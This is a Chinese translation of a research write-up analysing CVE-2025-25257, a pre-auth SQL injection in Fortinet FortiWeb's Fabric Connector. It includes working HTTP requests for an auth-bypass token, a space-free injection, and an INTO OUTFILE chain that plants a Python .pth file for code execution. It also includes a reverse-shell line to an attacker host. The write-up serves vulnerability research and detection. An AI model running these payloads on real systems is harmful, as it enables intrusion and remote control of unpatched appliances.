SQL 注入到 RCE – Fortinet FortiWeb FabricConnector (CVE-2025-25257)
原文链接: https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247489466&idx=1&sn=646d70b5560716e42a7b10a2c982817a
SQL 注入到 RCE – Fortinet FortiWeb FabricConnector (CVE-2025-25257)
SINA KHEIRKHAH securitainment 2025-07-14 11:36
Pre-Auth SQL Injection to RCE – Fortinet FortiWeb Fabric Connector (CVE-2025-25257)
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
欢迎回到网络安全平行宇宙的又一天。
这次我们来看看 Fortinet 的 FortiWeb Fabric Connector。”这是什么?”你可能会问。这是个好问题,但没人知道。
对于新手或尚未麻木的人来说:
Fortinet 的 FortiWeb Fabric Connector 是 FortiWeb(他们的 Web 应用防火墙)与其他 Fortinet 生态系统产品之间的桥梁,允许基于基础设施或威胁态势的实时变化进行动态的、基于策略的安全更新。可以把它想象成一个高级中间人——从 FortiGate 防火墙、FortiManager 甚至 AWS 等外部服务中提取元数据,并将其输入 FortiWeb,使其能够自动调整保护措施。理论上,它应该使事情变得更智能、更灵敏。
如果你没看出来,我们其实在 Fortinet 的售前工程团队兼职——网络安全界的生态循环非常真实。
无论如何,今天我们要分析的是 CVE-2025-25257——一个友好的预认证 SQL 注入漏洞,存在于 FortiWeb Fabric Connector 中,正如上文所述,它是许多 Fortinet 安全解决方案之间的桥梁。唉……
CVE-2025-25257 描述如下:
“GUI 中的未认证 SQL 注入 –
FortiWeb 中 SQL 命令使用的特殊元素未正确中和(’SQL 注入’)漏洞 [CWE-89] 可能允许未认证的攻击者通过精心构造的 HTTP 或 HTTPS 请求执行未经授权的 SQL 代码或命令。”
以下版本的 FortiWeb 受到影响:
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
公平地说,Secure-by-Design 承诺并不要求签署者避免 SQL 注入,所以我们无话可说。
一如既往,我们跑题了——进入今天的分析…
深入分析
正如许多人所熟悉的,当我们重建 N-day 漏洞时,通常会比较二进制文件,以便快速确定发生了什么变化,并希望迅速识别我们正在寻找的”变化”。
在本研究中,我们比较了
/bin/httpsd
的以下版本:
– 版本 7.6.3
- 版本 7.6.4
我们想借此机会讨论当前供应商在补丁管理方面的现状。我们提出了一个概念,其核心是供应商最终会采取符合客户最佳利益的行动。我们希望这个概念能够被广泛接受。
对于不太了解的人来说,最近出现了一个趋势——供应商似乎会囤积关键且未认证的漏洞,直到他们积累了足够多微小、无意义的更改,试图将安全修复隐藏在一堆无关紧要的改动中。
例如:
无论如何,这些尝试都是徒劳的,反映了他们 SDLC 流程中根深蒂固的成熟度问题。
经过 7 个 Veeam 年(约 3 分钟),我们成功识别出了以下函数(仍然带有符号!)
get_fabric_user_by_token
。
Diaphora 的差异输出如下(别担心,我们会详细解释,但这难道不是很漂亮吗?):
这是漏洞函数的相关部分。
问题是什么?一个经典的 SQL 注入,一个如此复杂的漏洞,以至于我们整个行业仍在努力寻找解决方案。
在这种情况下,复杂性在于攻击者控制的输入直接放入 SQL 查询中,而没有进行清理或转义。
__int64 __fastcall get_fabric_user_by_token(const char *a1)
{
unsigned int v1; // ebx
__int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
__int64 v4; // [rsp+10h] [rbp-4A0h]
_BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
__int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
__int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
__int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
char s[16]; // [rsp+80h] [rbp-430h] BYREF
_BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
unsigned __int64 v13; // [rsp+488h] [rbp-28h]
v13 = __readfsqword(0x28u);
*(_OWORD *)s = 0;
memset(v12, 0, sizeof(v12));
if ( a1 && *a1 )
{
init_ml_db_obj((__int64)v5);
v1 = v6(v5);
if ( !v1 )
{
**// VULN
snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);**
v1 = v7(v5, s);
if ( !v1 )
{
v4 = 0;
v3 = 0;
v1 = v9(v5, &v3);
if ( !v1 )
{
if ( (_DWORD)v3 == 1 )
{
v10(&v3);
}
else
{
v10(&v3);
v1 = -3;
}
}
}
}
v8(v5);
}
else
{
return (unsigned int)-1;
}
return v1;
}
新版本函数用预编译语句 (prepared statements) 替换了之前的格式化字符串查询,这是防止直接 SQL 注入 (SQL Injection) 的合理尝试。
让我们仔细看看更新后的查询是如何工作的:
v1 = mysql_stmt_init(v9[0]);
v2 = v1;
if ( !v1 )
goto LABEL_14;
if ( (unsigned int)mysql_stmt_prepare(v1, "SELECT id FROM fabric_user.user_table WHERE token = ?", 53) )
goto LABEL_13;
Fortinet 在安全技术领域一直处于前沿,我们很荣幸能实时见证他们的创新。
在深入之前,我们先快速回顾一下 “Fabric Connector” 在 FortiWeb 中的具体含义——至少根据 Fortinet 官方文档的定义。
我们关注的函数
get_fabric_user_by_token
似乎可以被外部 Fortinet 产品(如 FortiGate 设备)调用,用于在尝试与 FortiWeb API 进行集成时的身份验证。
此时,你可能会问:我们如何实际接触到这个 “Fabric Connector” 功能?
快速查看运行中的 Apache 服务器的
httpd.conf
文件,可以发现以下路由:
[..SNIP..]
<Location "/api/fabric/device/status">
SetHandler fabric_device_status-handler
</Location>
<Location "/api/fabric/authenticate">
SetHandler fabric_authenticate-handler
</Location>
<Location ~ "/api/v[0-9]/fabric/widget">
SetHandler fabric_widget-handler
</Location>
[..SNIP..]
有趣的是,我们发现了多个引用
fabric
的路由。但这是否意味着所有这些路由都能访问到我们的主要目标:
get_fabric_user_by_token
函数?只有一种方法可以确认。
让我们查看
get_fabric_user_by_token
的交叉引用,以准确理解它是如何被调用的。以下图表提供了调用路径的概览:
这是另一个视角:
[sub_55ED2EED05F0]──┐
│
[sub_55ED2EED3170]──┼──► [fabric_access_check] ──► [_fabric_access_check] ──► [get_fabric_user_by_token]
│
[sub_55ED2EED3270]──┘
以下三个函数最终都会调用
fabric_access_check
,而该函数又会调用我们关注的目标函数
get_fabric_user_by_token
:
sub_55ED2EED05F0 --> /api/fabric/device/status
sub_55ED2EED3170 --> /api/v[0-9]/fabric/widget/[a-z]+
sub_55ED2EED3270 --> /api/v[0-9]/fabric/widget
快速检查这些函数后,可以确认它们直接关联到我们之前看到的路由。那么——我们能否通过这些路由访问到存在漏洞的函数呢?
这是个好问题。答案是:可以。
让我们仔细看看以下函数:
sub_55ED2EED05F0 --> /api/fabric/device/status
在函数的一开始——位置 [1] 处——就调用了
fabric_access_check
。这是个不错的开始!
__int64 __fastcall sub_55ED2EED05F0(__int64 a1)
{
const char *v2; // rdi
unsigned int v3; // r13d
__int64 v5; // r12
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // r14
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
__int64 v13; // r14
__int64 v14; // rax
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rdx
__int64 v18; // rcx
__int64 v19; // r14
__int64 v20; // rax
const char *v21; // rax
size_t v22; // rax
const char *v23; // rax
v2 = *(const char **)(a1 + 296);
if ( !v2 )
return (unsigned int)-1;
v3 = strcmp(v2, "fabric_device_status-handler");
if ( v3 )
{
return (unsigned int)-1;
}
else if ( (unsigned int)fabric_access_check(a1) ) // [1]
{
v5 = json_object_new_object(a1);
v6 = json_object_new_string(nCfg_debug_zone + 4888LL);
json_object_object_add(v5, "serial", v6);
v7 = json_object_new_string("fortiweb");
json_object_object_add(v5, "device_type", v7);
v8 = json_object_new_string("FortiWeb-VM");
json_object_object_add(v5, "model", v8);
v9 = json_object_new_object(v5);
v10 = json_object_new_int(7);
json_object_object_add(v9, "major", v10);
v11 = json_object_new_int(6);
json_object_object_add(v9, "minor", v11);
v12 = json_object_new_int(3);
json_object_object_add(v9, "patch", v12);
json_object_object_add(v5, "version", v9);
v13 = json_object_new_object(v5);
v14 = json_object_new_int(1043);
[..SNIP..]
好的,现在我们来拆解一下
fabric_access_check
函数的具体实现。
这个函数非常简单,主要流程如下:
– 在 [1] 处,从 HTTP 请求中提取
Authorization
头并存储在
v3
变量中
- 在 [2] 处,使用
__isoc23_sscanf
这个 libc 函数来解析该头。它期望值以
Bearer
开头(注意空格),后面跟最多 128 个字符——这些字符会被提取到
v4
中
- 在 [3] 处,调用
get_fabric_user_by_token
函数,使用
v4
中存储的值
__int64 __fastcall fabric_access_check(__int64 a1)
{
__int64 v1; // rdi
__int64 v2; // rax
_OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
char v5; // [rsp+80h] [rbp-20h]
unsigned __int64 v6; // [rsp+88h] [rbp-18h]
v1 = *(_QWORD *)(a1 + 248);
v6 = __readfsqword(0x28u);
v5 = 0;
memset(v4, 0, sizeof(v4));
v3 = apr_table_get(v1, "Authorization"); // [1]
if ( (unsigned int)__isoc23_sscanf(v2, "Bearer %128s", v4) != 1 ) // [2]
return 0;
v5 = 0;
if ( (unsigned int)fabric_user_db_init()
|| (unsigned int)refresh_fabric_user()
|| (unsigned int)get_fabric_user_by_token((const char *)v4) ) // [3]
{
return 0;
}
else
{
return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);
}
}
简单回顾一下,
get_fabric_user_by_token
是我们存在漏洞的函数,其中攻击者控制的
char *a1
参数会被直接嵌入到 MySQL 查询中(SQL Injection)。
__int64 __fastcall get_fabric_user_by_token(const char *a1)
{
unsigned int v1; // ebx
__int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
__int64 v4; // [rsp+10h] [rbp-4A0h]
_BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
__int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
__int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
__int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
char s[16]; // [rsp+80h] [rbp-430h] BYREF
_BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
unsigned __int64 v13; // [rsp+488h] [rbp-28h]
v13 = __readfsqword(0x28u);
*(_OWORD *)s = 0;
memset(v12, 0, sizeof(v12));
if ( a1 && *a1 )
{
init_ml_db_obj((__int64)v5);
v1 = v6(v5);
if ( !v1 )
{
**// VULN
snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);**
[..SNIP..]
这意味着我们通过
Authorization: Bearer %128s
头传递的受控输入最终会出现在以下 MySQL 查询中(使用示例值 ‘watchTowr’,因为我们充满了想象力):
**select id from fabric_user.user_table where token='watchTowr'**
现在让我们来验证这个理论 – 我们将注入一个简单的
SLEEP
语句,看看是否能达到预期效果。
对于正在跟随操作的读者,以下是原始的 HTTP 请求:
GET /api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA' or sleep(5)-- -'
等等 – 为什么响应时间不是 5 秒?这…不是我们预期的结果。
现在,对于那些想知道为什么上面的注入没有成功的老手们(经验丰富的朋友已经知道了),让我们来详细解释一下。
我们在最终查询构造后设置了一个断点,使用 payload
AAAAAA' or sleep(5)-- -'
。
断点命中后,检查最终查询结果发现了一些意想不到的情况。
如你所见,我们的单引号成功注入了,但之后的所有内容都被静默丢弃了。这是 Fortinet 的特性吗?
或者,是不是查询本身有问题?
作为提醒,这里是我们控制的输入被插入查询之前的一系列函数调用:
在
get_fabric_user_by_token
之前的一个调用当然是
_fabric_access_check
。让我们再次查看这段代码并仔细分析。
__int64 __fastcall fabric_access_check(__int64 a1)
{
__int64 v1; // rdi
__int64 v2; // rax
_OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
char v5; // [rsp+80h] [rbp-20h]
unsigned __int64 v6; // [rsp+88h] [rbp-18h]
v1 = *(_QWORD *)(a1 + 248);
v6 = __readfsqword(0x28u);
v5 = 0;
memset(v4, 0, sizeof(v4));
v2 = apr_table_get(v1, "Authorization");
if ( (unsigned int)__isoc23_sscanf(v2, "Bearer %128s", v2) != 1 )
return 0;
v5 = 0;
if ( (unsigned int)fabric_user_db_init()
|| (unsigned int)refresh_fabric_user()
|| (unsigned int)get_fabric_user_by_token((const char *)v4) )
{
return 0;
}
else
{
return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);
}
}
看出来了吗?其实很简单。
C 函数
__isoc23_sscanf
用于提取我们的输入——根据其格式字符串,它会在遇到第一个空格时停止读取。这意味着我们无法在注入的查询中包含空格。经典问题。
当然,我们都经历过那个年代,还记得 MySQL 的经典注释技巧:
/**/
。
是时候把它拿出来用用了。
对于正在跟进的读者,这里是原始的 HTTP 请求:
GET /api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'
相信你也能感受到我们的喜悦:
现在让我们回到 80 年代(也就是现代 Fortinet 的现状),用经典的
OR 1=1
来测试这个软件。
这让我们可以完全绕过 token 检查,对于想要检测漏洞存在而不想直接进行漏洞利用的情况特别有用:
对于正在跟进的读者,这里是原始的 HTTP 请求:
GET /api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'or'1'='1
漂亮,
200 OK
HTTP 响应 – 确认我们的 SQL 注入 (SQL Injection) 成功,并且成功绕过了 token 检查:
HTTP/1.1 200 OK
Date: Thu, 10 Jul 2025 17:20:09 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self';
X-Content-Type-Options: nosniff
Content-Length: 248
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: application/json
{ "serial": "FVVM00UNLICENSED", "device_type": "fortiweb", "model": "FortiWeb-VM", "version": { "major": 7, "minor": 6, "patch": 3 }, "build": { "number": 1043, "release_life_cycle": "GA" }, "hostname": "FortiWeb", "supported_api_versions": [ 1 ] }
为了帮助理解,这里展示了一个已修复版本中的请求/响应对:
HTTP 请求:
GET /api/fabric/device/status HTTP/1.1
Host: 192.168.8.30
Authorization: Bearer AAAAAA'or'1'='1
HTTP 响应 (HTTP response):
HTTP/1.1 401 Unauthorized
Date: Thu, 10 Jul 2025 17:20:50 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: script-src 'self'; default-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; upgrade-insecure-requests; block-all-mixed-content;
X-Content-Type-Options: nosniff
Content-Length: 0
注意:我们观察到围绕 CVE-2025-5777 分析产生的漏洞检测相关争议和大量 PR – 请保持冷静,不要过度反应。
从预认证 SQL 注入到预认证远程代码执行
预认证 SQL 注入 (SQL Injection) 确实有趣,但我们看起来像是那些在”报告时间”前需要”验证”漏洞的渗透测试顾问吗?
现在,真正的挑战开始了 – 我们能否将这个 MySQL 注入升级为远程代码执行 (Remote Command Execution)?
为了找到答案,我们翻开 MySQL 漏洞利用的古老卷轴,重温一项经典技术:INTO OUTFILE
语句。
简单回顾一下,
INTO OUTFILE
为我们提供了一个任意文件写入原语 (arbitrary file write primitive),允许我们直接将文件写入目标文件系统。
MySQL 官方文档是这样描述的:
使用
INTO OUTFILE
时需要注意一个重要事项 – 文件将以运行 MySQL 进程的用户权限写入。众所周知,90% 的情况下,这个用户是
mysql
- 当然,这是在没有任何错误配置的前提下。
哈哈哈哈哈。
那么,让我们一探究竟。
哎呀。公平地说,这种细节在任何承诺中都没有提及,Fortinet 怎么可能知道呢?
所以,在这个安全平行宇宙中 – 我们仿佛回到了 80 年代,通过 SQL 注入获得了
root
权限的任意文件写入能力。自然地,下一步就是代码执行。
你可能会想:”直接放个 webshell 不就行了。”说实话,你完全正确。
事实证明,这里有一个方便暴露的
cgi-bin
目录可供我们写入 – Apache 的
httpd.conf
文件也明确证实了这一点:
[..SNIP..]
<IfModule alias_module>
ScriptAlias /cgi-bin/ "/migadmin/cgi-bin/"
</IfModule>
<Directory "/migadmin/cgi-bin">
Options +ExecCGI
SetHandler cgi-script
</Directory>
[..SNIP..]
那么,如果我们把文件放入
cgi-bin
目录并访问它们,应该就能获得代码执行权限,对吧?
其实——并不完全如此。
文件确实被放到了正确的位置,但它们没有被标记为可执行文件。而且,我们无法通过 SQL 注入来设置可执行权限。死胡同了吗?
还没到放弃的时候。
此时,你可能会插话说:
哈哈,为什么不直接覆盖现有的可执行文件呢?
亲爱的读者,正如我们之前提到的,MySQL 中的
INTO OUTFILE
语句不允许覆盖或追加到现有文件。文件在语句执行时必须不存在——否则操作会失败。所以…死胡同了吗?
仍然不是。
让我们发挥创意——是时候仔细看看
cgi-bin
目录里已经存在什么了:
bash-5.0# ls -la /migadmin/cgi-bin
drwxr-xr-x 2 root 0 4096 Jul 10 05:55 .
drwxr-xr-x 14 root 0 4096 Jul 10 05:49 ..
-rwxrwxrwx 1 root 0 1499568 Mar 3 17:25 fwbcgi
-rwxr-xr-x 1 root 0 3475 Mar 3 17:25 ml-draw.py
有意思 – 看看我们发现了什么。
在
cgi-bin
目录中正好有一个 Python 文件,而且没错 – 我们可以直接访问它,Apache 会愉快地将其作为 CGI 脚本执行。完全安全。没什么特别的。
但有趣的是:检查这个 Python 文件的 shebang 行,我们发现了一些意料之中 – 但对后续操作极其有用的信息。
#!/bin/python
import os
import sys
import cgi
import cgitb; cgitb.enable()
os.environ[ 'HOME' ] = '/tmp/'
import time
from datetime import datetime
import matplotlib
matplotlib.use( 'Agg' )
import pylab
form = cgi.FieldStorage()
[..SNIP..]]
shebang 行告诉我们,每次执行这个脚本(即每次访问该文件时),都会使用
/bin/python
运行。所以每次有人访问这个文件时,Python 就会启动。
你明白这意味着什么吗?如果还不清楚,别担心——这里有一个在这种情况下的经典技巧。
必须承认,SonarSource 的团队在记录这个原语方面做得非常出色,所以我们直接引用他们博客中的一段话:
Python 支持一个叫做 site-specific configuration hooks(站点特定配置钩子)的功能。它的主要目的是将自定义路径添加到模块搜索路径中。为此,可以在用户主目录的
.local/lib/pythonX.Y/site-packages/
文件夹中放置一个任意命名的
.pth
文件:
这个功能非常有用——尤其是在任意文件写入遇到 Python 执行的时候。
user@host:~$ echo '/tmp' > ~/.local/lib/python3.10/site-packages/foo.pth
简而言之:如果你能写入该目录并放置一个
.pth
扩展名的文件,Python 会帮你完成剩下的工作。
具体来说,如果
.pth
文件中的任何一行以
import [空格]
或
import [制表符]
开头,后面跟着有效的 Python 代码,那么每次 Python 进程启动时都会执行的
site.py
解析器会说:“啊,是的,我应该运行这行代码。”
如果你想深入了解这一点,我们再次强烈推荐阅读 SonarSource Research 的解释——他们对这个原语的介绍比大多数人都要好。
所以,计划很简单:
1. 将包含 Python 代码的
.pth
文件写入
site-packages
目录,
- 触发
/cgi-bin/ml-draw.py
。
- Apache 将启动
/bin/python
,
site.py
会运行,我们的
.pth
文件会被加载并执行——不需要可执行权限。
完美。
但计划只是计划——我们真的能做到吗?
我们最初天真地尝试了以下查询:
'/**/or/**/1=1/**/UNION/**/SELECT/**/'import os;os.system(\\'ls\\')'/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/trigger.pth
最初的想法很简单:将
import os;os.system('ls')
写入
/var/log/lib/python3.10/site-packages/trigger.pth
文件。
但很快我们就遇到了几个问题:
– 我们的 payload 包含空格 – 这破坏了
sscanf
调用中的
%128s
限制
- 更糟糕的是,整个 header 值现在完全超过了 128 字符的限制
那么,如果我们把路径缩短为
/var/log/lib/python3.10/site-packages/a.pth
呢?
这确实有所帮助…但我们仍然被
import os
中的空格所困扰。
为了解决这个问题,我们可以使用 MySQL 工具箱中的一个老方法 –
UNHEX()
函数。
UNHEX('41414141') --> AAAA
所以我们就直接对 payload 进行 hex 编码然后写入文件?
要是真这么简单就好了。
假设我们尝试一个反向 shell 的 payload——类似这样:
import os; os.system('bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"')
最终我们会得到如下代码:
UNHEX('696d706f7274206f733b206f732e73797374656d282762617368202d6320222f62696e2f62617368202d69203e26202f6465762f7463702f312f3220303e2631222729')
不幸的是,这超出了最大输入限制。
我们感到沮丧,但突然有了一个想法:与其一次性写入整个 payload,不如将其分块处理?这可行吗?
当然,MySQL 的
INTO OUTFILE
有一个众所周知的限制——它只能写入新文件。不能追加,不能覆盖。每个文件路径只有一次机会。
但这里有个转折:虽然我们只能对目标文件调用一次
INTO OUTFILE
,但我们可以在写入前构建内容。
那么,如果我们把 payload 分块存储到另一个列中…然后让 MySQL 将该列的值转储到文件中呢?
查看
fabric_user.user_table
的 schema 时,一个列立即引起了我们的注意:
token
。完美。
这样的方法能行得通吗?
Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/b.pth
但又一次 – 上面的查询?137 字节。
看起来我们完蛋了,对吧?
此时我们感到非常沮丧。但 – 我们还有想法。
如果我们使用通配符 (glob characters) 呢?与其提供完整路径,我们尝试了类似这样的方法:
bash
/var/log/lib/python3.10/site-*/
不幸的是,MySQL 又给了我们一个错误——事实证明它不支持在
INTO OUTFILE
中使用通配符 (globbing)。真遗憾。
好吧,新想法:如果我们使用相对路径而不是绝对路径呢?
好消息——这奏效了。
通过在
INTO OUTFILE
查询中使用相对路径,MySQL 会将其解析为相对于进程工作目录的路径——而该目录恰好非常接近 Python 的
site-packages
目录。我们使用了:
bash
../../lib/python3.10/site-packages/x.pth
最终的 payload 是什么?
sql
'/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth'
总长度:127 字节
。正好多出一个字节。运气不错。
检测特征生成器
https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257